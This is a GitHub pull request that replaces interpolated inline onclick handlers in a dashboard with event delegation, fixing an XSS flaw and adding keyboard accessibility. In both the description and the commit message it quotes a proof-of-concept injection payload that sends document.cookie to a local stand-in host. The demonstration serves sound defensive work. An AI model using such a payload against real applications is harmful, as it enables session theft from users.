Skip to content

Replace data-bearing inline handlers with event delegation - #30

Open
dgruhin-hrizn wants to merge 1 commit into
L1AD:mainfrom
dgruhin-hrizn:fix/event-delegation
Open

Replace data-bearing inline handlers with event delegation#30
dgruhin-hrizn wants to merge 1 commit into
L1AD:mainfrom
dgruhin-hrizn:fix/event-delegation

Conversation

@dgruhin-hrizn

Copy link
Copy Markdown

Follow-up to #25, and the half of the XSS that escaping genuinely cannot fix.

Why #25 isn't enough

Six render sites interpolate ids directly into inline handlers:

onclick="showTaskDetail('${task.id}', '${actualSessionId}')"

That's a JavaScript string nested inside an HTML attribute, and HTML escaping cannot secure it — the parser decodes character references before the JS is compiled, so an escaped ' decodes back to ' and closes the literal anyway. Escaping the value isn't a weaker fix here, it's not a fix at all.

Demonstrated

With a task whose id is:

1'); fetch('//127.0.0.1:9999/?c='+document.cookie); //

Before — the card renders a real inline handler, and the request fires on click:

onclick="showTaskDetail('1'); fetch('//127.0.0.1:9999/?c='+document.cookie); //"
xssFired: true

After — the id is inert data-task-id, there's no inline handler on the element, and clicking every card on the page fires nothing:

hostileHasInlineOnclick: false
xssFired: false

The change

Ids travel as data-* attributes; one delegated listener on document resolves them. closest() returns the innermost [data-action] and the listener is on document, so a nested action dispatches exactly once — no stopPropagation, which would otherwise break unrelated listeners.

Converted: live update items, session rows, the session bulk-delete button, task cards, the note form, timeline rows.

The other 31 onclick attributes are left alone. They're static string literals with no interpolation and no injection surface. Touching them would turn a security fix into a refactor.

Accessibility win folded in

Task cards and timeline rows were div + onclick with no tabindex or roleunreachable by keyboard entirely. Since this rewrites those exact opening tags, they get role="button" tabindex="0" and an Enter/Space branch in the same delegated handler, rather than a second PR touching the same lines. Verified a card now takes focus and Enter opens the detail panel.

Regression check

Session select, task card click, note submit (no navigation, input cleared), timeline row click, and keyboard activation all verified working. No console errors.

Relationship to #24

Complementary rather than overlapping: #24's server-side id validation stops bad data entering, this removes the sink. Either alone closes this particular payload; both is better.

Conflict note

Touches the renderSessionItem opening tag, so it will conflict trivially with #21 if that lands first (fetchTasksselectSession). One-line resolution in either order — I hit exactly that when merging locally.

Six render sites interpolated task and session ids directly into inline
handlers:

    onclick="showTaskDetail('${task.id}', '${actualSessionId}')"

That is a JavaScript string nested inside an HTML attribute, and HTML
escaping cannot secure it -- the parser decodes character references
before the JS is compiled, so an escaped quote decodes back to a quote
and closes the literal anyway. Escaping the value is not a weaker fix
here, it is not a fix at all.

Verified with a task whose id is:

    1'); fetch('//127.0.0.1:9999/?c='+document.cookie); //

Before, the card renders
onclick="showTaskDetail('1'); fetch('//127.0.0.1:9999/?c='+document.cookie); //"
and the request fires on click. After, the id is an inert data-task-id
value read through dataset, there is no inline handler on the element,
and clicking every card on the page fires nothing.

Ids now travel as data-* attributes and one delegated listener on
document resolves them. closest() returns the innermost [data-action], and
the listener is on document, so a nested action dispatches exactly once --
no stopPropagation, which would otherwise break unrelated listeners.

Converted: live update items, session rows, the session bulk-delete
button, task cards, the note form, and timeline rows. The other 31
onclick attributes in the file are static string literals with no
interpolation and no injection surface, so they are left alone -- this
stays a security fix rather than becoming a refactor.

Task cards and timeline rows were divs with onclick and no tabindex or
role, so they were unreachable by keyboard entirely. Since this change
rewrites those exact opening tags, they get role="button" tabindex="0"
and an Enter/Space branch in the same delegated handler. Confirmed a card
now takes focus and Enter opens the detail panel.

Note that L1AD#24's server-side id validation blunts this same path
independently by rejecting unsafe ids before they reach the client. These
are complementary: that one stops bad data entering, this one removes the
sink.
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

1 participant